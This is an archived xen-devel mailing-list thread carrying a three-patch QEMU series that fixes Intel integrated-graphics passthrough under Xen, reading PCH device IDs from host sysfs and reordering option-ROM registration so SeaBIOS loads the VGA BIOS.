Content-Length: 3123
X-purgate-ID: tlsNG-ef75cf/1783573763-7E93A25E-0E9C0C70/0/0
X-purgate-type: clean
X-purgate-size: 3201

With the current implementation, Seabios does not see the fixup of
the device id done here and consequently Seabios does not load the
VGA bios and the guest screen does not light up until the guest OS
graphics driver is loaded. So there is no VGA output from the passed
through Intel IGD from either Seabios or the guest bootloader with
the current implementation in cases when the device id needs fixing.

Fix this by waiting until after doing fixup of the device id before
registering the option ROM. With this patch, Seabios sees the fixup
done here and loads the VGA bios, and both Seabios and the guest
bootloader light up the guest screen in cases when fixup of the
device id is needed.

Also, remove unused header hw/core/loader.h

Fixes: 881213f ("xen, gfx passthrough: retrieve VGA BIOS to work")
Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
---
 hw/xen/xen_pt_graphics.c |  3 +++
 hw/xen/xen_pt_load_rom.c | 18 ++++++++++++------
 2 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/hw/xen/xen_pt_graphics.c b/hw/xen/xen_pt_graphics.c
index 54f0d54..9e9ab55 100644
--- a/hw/xen/xen_pt_graphics.c
+++ b/hw/xen/xen_pt_graphics.c
@@ -222,6 +222,9 @@ void xen_pt_setup_vga(XenPCIPassthroughState *s, XenHostPCIDevice *dev,
         }
     }
 
+    pci_register_bar(&s->dev, PCI_ROM_SLOT, 0, &s->dev.rom);
+    s->dev.has_rom = true;
+
     /* Currently we fixed this address as a primary for legacy BIOS. */
     physical_memory_write(0xc0000, bios, bios_size);
 }
diff --git a/hw/xen/xen_pt_load_rom.c b/hw/xen/xen_pt_load_rom.c
index 319efca..407b630 100644
--- a/hw/xen/xen_pt_load_rom.c
+++ b/hw/xen/xen_pt_load_rom.c
@@ -4,14 +4,22 @@
 #include "qemu/osdep.h"
 #include "qapi/error.h"
 #include "qemu/error-report.h"
-#include "hw/core/loader.h"
 #include "hw/pci/pci.h"
 #include "xen_pt.h"
 
 /*
- * Scan the assigned devices for the devices that have an option ROM, and then
- * load the corresponding ROM data to RAM. If an error occurs while loading an
- * option ROM, we just ignore that option ROM and continue with the next one.
+ * Normally xen_pt_register_regions will handle loading the option ROM,
+ * but in some cases, such as for the Intel IGD, the option ROM might
+ * need to be modified.
+ *
+ * For such cases, use this function to get a pointer to the option ROM
+ * from sysfs. Caller has the responsibility to edit the option ROM as
+ * needed, call pci_register_bar to register the modified option ROM,
+ * and set has_rom to true for the PCI device.
+ *
+ * This function must be called before xen_pt_register_regions is called
+ * because if xen_pt_register_regions is called first, it will register
+ * the option ROM and any attempt to register it again will fail.
  */
 void *pci_assign_dev_load_option_rom(PCIDevice *dev,
                                      int *size, unsigned int domain,
@@ -76,8 +84,6 @@ void *pci_assign_dev_load_option_rom(PCIDevice *dev,
         goto close_rom;
     }
 
-    pci_register_bar(dev, PCI_ROM_SLOT, 0, &dev->rom);
-    dev->has_rom = true;
     *size = st.st_size;
 close_rom:
     /* Write "0" to disable ROM */
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 05:09:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 05:09:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357501.1611886 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whh0f-0007ZE-Uy; Thu, 09 Jul 2026 05:09:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357501.1611886; Thu, 09 Jul 2026 05:09:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whh0f-0007Z7-SC; Thu, 09 Jul 2026 05:09:17 +0000
Received: by outflank-mailman (input) for mailman id 1357501;
 Thu, 09 Jul 2026 05:09:17 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whh0f-0007Z1-6U
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 05:09:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whh0e-001k4z-CT
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:09:16 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4f2ce7-2eae-0a2a0a5409dd-0a2a450781b8-40
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 07:09:15 +0200
Received: from [98.137.69.32] (helo=sonic316-8.consmr.mail.gq1.yahoo.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4f2cfa-9c8e-0a2a45070019-628945208102-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 07:09:15 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic316.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 05:09:13 +0000
Received: by hermes--production-ne1-7568ccb994-mqdhs (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID da73cafa7d25cff72b3b6899257e7b9a; 
 Thu, 09 Jul 2026 05:09:12 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783573753; bh=6kwiiz6vzXFsU52pONZLCow3uL6CNjnBbJwtIEwpgSY=; h=From:To:Cc:Subject:Date:References:From:Subject:Reply-To; b=Y7XXAh1pgxOLbetVg1cQAo2tZIkS8Wpy5RW7fz2FytRq5H1jFuI1o5uTU4rr08zWR6G88rXFj55UK20RC7/qMuBcmscehyK0nTXoTwKaqI8m7BX/Qh227TY2K79LLwDasa151k3ZqLCJAWc81Vfc/nha6bB5TyoZh3uc1CO6+TAo8LAMxmk4+pj8VRinJbb0LsBCUimR/DXtZYZ5upNkYOaOAmnNpGerbmjKQSUmD1fjWnYvIkqaUZkQoDgovZZ/XRuLX9bGUVtKsuEUCY0hzlOWXgNrGLM/TrtMtpIX7I0mRlX84WGWy/GTbqh9Yv8qr0t5oAloegKYjceGsYlsyA==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783573753; bh=Ek45+OKSiXAcv9KamB7PZ78+mUV+bMCwUDE2T1wXqe9=; h=X-Sonic-MF:From:To:Subject:Date:From:Subject; b=YAAG6OWHIzrG7ailh8b+SKpRWY9Knnt97EHKef61a2Sl0XAFrT8d9QtHFjSvfWLVQPMsoc3nj300Koiujj8SQ91q5XYIjdvzmQ68LnSiK3hJGHeCJ4PQ4sYrfXdajuSFxYYras6cQ0BiuNm7ST49JBD16xnso9B6DVbafcNcgJazqACYV/sOjr2+u3CXCUrZGrlbKbdCqpRfKmZNOAOMsLd+jcDanFXQPVhsnCrPN5ne2cma4Ej8c05hfYJlulmg5RyzVHDvWc1WW0Fr8BrC23+9r6r/CDFZtPj9E2A2z9CxoAOHq210bs3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g
 DqPNpQn7RDrmQiOlnN4wsvOu3J1aRnsUI.DjNMRhmaS3exCJqOmQVwpI7uLfiCi2.wn_NOHAHBx0
 E502eniGqctY4ohr_A8iYZN61USvBs1KE9pTHlBOww5hGrNzPNxNTCThx_KWc9S4PY4wGcEj4_um
 HyIA3L_3ZNqG4iE6OPLuBiqsAReKFwKAVuSHnwNgKwsj6FOU_mCRFLs2EbH6mmd1ymOyAPy5k2wN
 oTrCpQnLIuRn8o4IIxeQi7WXgzCph
X-Sonic-MF: <brchuckz@aol.com>
X-Sonic-ID: 5bcfd46a-86cc-45df-a695-4da8c90a8007
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH 0/3] xen/igd: fixes for Intel IGD passthrough
Date: Thu,  9 Jul 2026 01:09:07 -0400
Message-ID: <20260709050910.8217-1-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
References: <20260709050910.8217-1-brchuckz.ref@aol.com>
Content-Length: 1041
X-purgate-ID: tlsNG-ef75cf/1783573755-FCD2C25E-62A4DFB6/0/0
X-purgate-type: clean
X-purgate-size: 1070

This patch series aims to fix long-standing bugs that need
to be backported to all currently supported stable versions.

This series fixes three bugs that cause problems ranging from
a dark screen in the guest until the guest OS graphics drivers
are loaded to an assert failure that prevents the guest from
starting.

To test these patches, it is necessary to test with older Intel
IGD devices that have support for legacy VGA bios.

The patches have been tested using Xen 4.21 and Seabios 1.17
on Fedora 44 using an Intel NUC7i5BNK with an i5-7260U processor
and have been verified to fix the bugs as described in the
individual patches.

Chuck Zmudzinski (3):
  xen/igd: get PCH info from host sysfs
  xen/igd: don't register rom bar twice
  xen/igd: fixup device id before registering rom

 hw/xen/xen_pt.c          |  5 ++-
 hw/xen/xen_pt_graphics.c | 85 ++++++++++++++++++++++++++++++++++++++--
 hw/xen/xen_pt_load_rom.c | 18 ++++++---
 include/hw/xen/xen_igd.h |  3 +-
 4 files changed, 99 insertions(+), 12 deletions(-)

-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 05:09:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 05:09:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357503.1611901 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whh0n-0007pp-Ed; Thu, 09 Jul 2026 05:09:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357503.1611901; Thu, 09 Jul 2026 05:09:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whh0n-0007pM-8u; Thu, 09 Jul 2026 05:09:25 +0000
Received: by outflank-mailman (input) for mailman id 1357503;
 Thu, 09 Jul 2026 05:09:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whh0m-0007m9-3a
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 05:09:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whh0k-00AI4q-Iu
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:09:22 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4f2cff-bab6-0a2a0a5309dd-0a2a45079eaa-6
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 07:09:22 +0200
Received: from [98.137.66.148] (helo=sonic317-22.consmr.mail.gq1.yahoo.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4f2d00-9c8e-0a2a45070019-6289429486de-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 07:09:22 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic317.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 05:09:19 +0000
Received: by hermes--production-ne1-7568ccb994-mqdhs (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID da73cafa7d25cff72b3b6899257e7b9a; 
 Thu, 09 Jul 2026 05:09:13 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783573759; bh=kmy5paPyj91SKIk+LerOoztgxWQwrnHMoCIHazjSiVs=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From:Subject:Reply-To; b=MZH1mclGU4ruI0+LdCfz41JXG+oFEb2obJMU86XAXmUnDbkgnzcvPOU3vI2lTgYWJ9WwmbNO4Dc0JBKFcZ7907YarMhwSWFTL+w1C4eXnXdE2xwm/JB/JhiB02cpbPtxbHc3nJe57IHdLs/UhOnhxRVf+cGQfaE208xDb23LU3nSZ16Xr+3G7cpaRHsfk3Lva/OG7AAprYD+VP/PSIuaR7rsfoh+BxDAW4SPZkAKNLG8JPz8mQS2xxmhc909q/bU+7s+yBobMC7a7JVYpvrCTQHQDIGgitHgBu+99UpBQEiec1YqflxORLviNizSr26hwOeEbyAJWKE7vsb/4NZ8/g==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783573759; bh=JmeEKn342st9g/1wzewS85akdS4ip0dtXJIO74yrS2U=; h=X-Sonic-MF:From:To:Subject:Date:From:Subject; b=PXyiGPD4PNxyTImzKgviWGm8dtgbgBfh/liU531VG1GdGZ8lS4hw+DMTMYsKNQIuYCK6rkdnJmCQ4pkgnsXctTfMsDacLI+0S3GOWpc9aSWBaIUFboqNTKyiJ0pX2Lt+GDTZXVWJgmbRzRwjUhCJ8kyGD9jPerSuS2I+Zf7ZTJggwIfeM25y4/pftZA9rhaZTT+zpb7oqsg3n1H3qLRuU7i30/ddozOOp1MUqfxRmp3fLMc0et1obAFVKfLR/OaD3F/OCsxPAGNii4pH8Mrrn+vV/Zpp+1bDTn62JPiNxpQUOQa7ojsuFzXRUx0mLnW1+YP5mSk/9Q319Ut0FlMstQ==
X-YMail-OSG: JP3ORNQVM1k7hVrC4QRxWlHnl6u6wxJSELA1u95XKrM1igfBPtXXr0OpuihtPfO
 5cp8z1HRaH0cfXc807kU5utm9UtPJiUkkBxFq1h4yzJAfLTQvcp_sotOvnhJwnzJUGFL3kioZuwb
 AlbGRAZfAeuleMrpQDK8CkI3N29t1qrc.IAUDEx74O1mEkuXT.vSrsciOuPN1dAGN95KMawL0Cp2
 lrz4wp7z46yNzrBjY4WyB2I72FxrhTp1.3BxNcmjPiBo24spuU.LREAKR56X2hlV0JrRIfbYIVcF
 mxCH7lajxMCHFxRuFkNx.gN4CxBuqD011.2YzhhNDOdrvI7ber9yX8RWc04vruV0GT_lB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ano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH 1/3] xen/igd: get PCH info from host sysfs
Date: Thu,  9 Jul 2026 01:09:08 -0400
Message-ID: <20260709050910.8217-2-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260709050910.8217-1-brchuckz@aol.com>
References: <20260709050910.8217-1-brchuckz@aol.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Length: 5607
X-purgate-ID: tlsNG-ef75cf/1783573762-7D72125E-61891D14/0/0
X-purgate-type: clean
X-purgate-size: 5768

The igd_combo_id_infos[] data is more than 10 years
out of date with many Intel IGD devices missing from
igd_combo_id_infos[]. This means that many devices
that could be supported will not work with the
current implementation.

For newer devices not listed in igd_combo_id_infos[],
get infos from the host sysfs to enable support for the
newer devices not listed in igd_combo_id_infos[].

Introduce the helper function xen_pt_get_host_pch_info
to facilitate getting the necessary information from
sysfs.

Also, use errp in xen_igd_passthrough_isa_bridge_create
to propagate errors from xen_pt_get_host_pch_info.

Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
---
 hw/xen/xen_pt.c          |  2 +-
 hw/xen/xen_pt_graphics.c | 82 ++++++++++++++++++++++++++++++++++++++--
 include/hw/xen/xen_igd.h |  3 +-
 3 files changed, 82 insertions(+), 5 deletions(-)

diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
index 0fe9c0a..474606e 100644
--- a/hw/xen/xen_pt.c
+++ b/hw/xen/xen_pt.c
@@ -867,7 +867,7 @@ static void xen_pt_realize(PCIDevice *d, Error **errp)
         }
 
         /* Register ISA bridge for passthrough GFX. */
-        xen_igd_passthrough_isa_bridge_create(s, &s->real_device);
+        xen_igd_passthrough_isa_bridge_create(s, &s->real_device, errp);
     }
 
     /* Handle real device's MMIO/PIO BARs */
diff --git a/hw/xen/xen_pt_graphics.c b/hw/xen/xen_pt_graphics.c
index 7df9344..54f0d54 100644
--- a/hw/xen/xen_pt_graphics.c
+++ b/hw/xen/xen_pt_graphics.c
@@ -376,8 +376,75 @@ static void pt_graphics_register_types(void)
 }
 type_init(pt_graphics_register_types)
 
+static void xen_pt_get_host_pch_info(PCIDevice *dev, uint16_t *pch_dev_id,
+                                 uint8_t *pch_rev_id, Error **errp)
+{
+    FILE *fp1, *fp2;
+    char *endptr;
+    char device_id[7], rev[5];
+    size_t len;
+    const char *device = "/sys/bus/pci/devices/0000:00:1f.0/device";
+    const char *revision = "/sys/bus/pci/devices/0000:00:1f.0/revision";
+    unsigned long val;
+
+    fp1 = fopen(device, "r");
+    if (fp1 == NULL) {
+        error_setg_errno(errp, errno, "Cannot open %s", device);
+        return;
+    }
+    fp2 = fopen(revision, "r");
+    if (fp2 == NULL) {
+        error_setg_errno(errp, errno, "Cannot open %s", revision);
+        fclose(fp1);
+        return;
+    }
+
+    len = fread(device_id, 1, 7, fp1);
+    if (!len) {
+        error_setg(errp, "Cannot read %s", device);
+        fclose(fp1);
+        fclose(fp2);
+        return;
+    }
+    len = fread(rev, 1, 5, fp2);
+    if (!len) {
+        error_setg(errp, "Cannot read %s", revision);
+        fclose(fp1);
+        fclose(fp2);
+        return;
+    }
+    fclose(fp1);
+    fclose(fp2);
+
+    val = strtoul(device_id, &endptr, 16);
+    if (val > 0xffff) {
+        error_setg(errp, "PCH device id is out of range: 0x%lx", val);
+        return;
+    }
+    if ((endptr > device_id) && (errno != ERANGE) &&
+        (errno != EINVAL)) {
+        *pch_dev_id = (uint16_t)val;
+    } else {
+        error_setg_errno(errp, errno, "device id strtoul "
+                                      "conversion failed");
+        return;
+    }
+    val = strtoul(rev, &endptr, 16);
+    if (val > 0xff) {
+        error_setg(errp, "PCH revision is out of range: 0x%lx", val);
+        return;
+    }
+    if ((endptr > rev) && (errno != ERANGE) && (errno != EINVAL)) {
+        *pch_rev_id = (uint8_t)val;
+    } else {
+        error_setg_errno(errp, errno, "revision strtoul "
+                                      "conversion failed");
+    }
+}
+
 void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
-                                           XenHostPCIDevice *dev)
+                                           XenHostPCIDevice *dev,
+                                           Error **errp)
 {
     PCIBus *bus = pci_get_bus(&s->dev);
     struct PCIDevice *bridge_dev;
@@ -394,7 +461,16 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
         }
     }
 
-    if (pch_dev_id == 0xffff) {
+    /* Newer devices get PCH infos from host sysfs */
+    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
+        xen_pt_get_host_pch_info(&s->dev, &pch_dev_id, &pch_rev_id, errp);
+    }
+
+    XEN_PT_LOG(&s->dev, "PCH device id: 0x%x\n", pch_dev_id);
+    XEN_PT_LOG(&s->dev, "PCH revision: 0x%x\n", pch_rev_id);
+
+    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
+        error_setg(errp, "failed to get PCH device id or revision");
         return;
     }
 
@@ -406,7 +482,7 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
      * Note that vendor id is always PCI_VENDOR_ID_INTEL.
      */
     if (!bridge_dev) {
-        fprintf(stderr, "set igd-passthrough-isa-bridge failed!\n");
+        error_setg(errp, "set igd-passthrough-isa-bridge failed!");
         return;
     }
     pci_config_set_device_id(bridge_dev->config, pch_dev_id);
diff --git a/include/hw/xen/xen_igd.h b/include/hw/xen/xen_igd.h
index 7ffca06..da51f09 100644
--- a/include/hw/xen/xen_igd.h
+++ b/include/hw/xen/xen_igd.h
@@ -22,7 +22,8 @@ uint32_t igd_read_opregion(XenPCIPassthroughState *s);
 void xen_igd_reserve_slot(PCIBus *pci_bus);
 void igd_write_opregion(XenPCIPassthroughState *s, uint32_t val);
 void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
-                                           XenHostPCIDevice *dev);
+                                           XenHostPCIDevice *dev,
+                                           Error **errp);
 
 static inline bool is_igd_vga_passthrough(XenHostPCIDevice *dev)
 {
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 06:37:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 06:37:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357546.1611923 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whiNW-0004FT-Nt; Thu, 09 Jul 2026 06:36:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357546.1611923; Thu, 09 Jul 2026 06:36:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whiNW-0004FM-Kt; Thu, 09 Jul 2026 06:36:58 +0000
Received: by outflank-mailman (input) for mailman id 1357546;
 Thu, 09 Jul 2026 06:36:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whiNU-0004FG-Jc
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 06:36:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whiNT-001z7i-DP
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 08:36:55 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4f4175-5cb7-0a2a0a5109dd-0a2a45098b32-38
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 08:36:54 +0200
Received: from [40.93.198.44]
 (helo=CY7PR03CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4f4185-97e6-0a2a45090019-285dc62c2322-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 08:36:54 +0200
Received: from MW4PR03CA0122.namprd03.prod.outlook.com (2603:10b6:303:8c::7)
 by SJ0PR12MB8165.namprd12.prod.outlook.com (2603:10b6:a03:4e4::6) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Thu, 9 Jul
 2026 06:36:48 +0000
Received: from MWH0EPF000C6187.namprd02.prod.outlook.com
 (2603:10b6:303:8c:cafe::37) by MW4PR03CA0122.outlook.office365.com
 (2603:10b6:303:8c::7) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.11 via Frontend Transport; Thu, 9
 Jul 2026 06:36:48 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 MWH0EPF000C6187.mail.protection.outlook.com (10.167.249.119) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Thu, 9 Jul 2026 06:36:48 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 01:36:48 -0500
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 01:36:47 -0500
Received: from APPOL-18KY0J4.xilinx.com (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via
 Frontend Transport; Thu, 9 Jul 2026 01:36:46 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Z7opmmPBM6q3apAlse3NxuqMuCHd82Z+qNIWB/nMO3a/43mCpBUdUAFC3k8x3GNATV7nBG9E8rtsBo2KcZriwqCHl4lotZmSdMLtA8Z4Ld5YbeNfM3H7qMZXN23aVOIev0TU3y6ZLtoykzKEsDE3XmVKENlPrEJ0thpm1Tx5eLFFc9bKfea1vfUQzOaD8za8z/MAFWqcawoa+giXQBnbsno0HYKZLY8DT0wpiGew7HezJwfNavS4Cyb1k5xLDx4mCXoGA5gfbXQvxVAOAly/eqO/v8ot6o9Ql3DwGSkwsiJCzivUF9IVsouFgL2nkN/whw+MEVlOhJQjakAPyluPSg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Zhdxdf5zL6a+U1/hrk4aLT3C9PkcV0JvLE8J6lvzQu4=;
 b=GWfhkpVl0/G1lfJxS1Vr7ENsKxYDa2ke6tOl97R3yeO6wd1n20zdITnZljJshO3hjVOADTw78r/LmksqkUAnQszrjJryH8IF9hUvTQAAdJmTIiJvkSMBnzJyNO77n/RcvnzA1CpEPtovv1o3n5nhPQ9qeQD+ixkp9YyYUT1pFU8uR2xp+lwikoihREG9ln6Zf6X6PPdtiPIZCxbMvWFFQ1VB0l39ckyKCpnsXpaIraYpyWV+36AYwcQCJWCn+0Ddj3ZiuSS7nJwQWnEfRzdquXKjlMGIdhloBiVhoS/26NY4pdpNIOeX1nHbDzVnJ+J1a+d2O5r9NWlmj6l9QHiJxw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Zhdxdf5zL6a+U1/hrk4aLT3C9PkcV0JvLE8J6lvzQu4=;
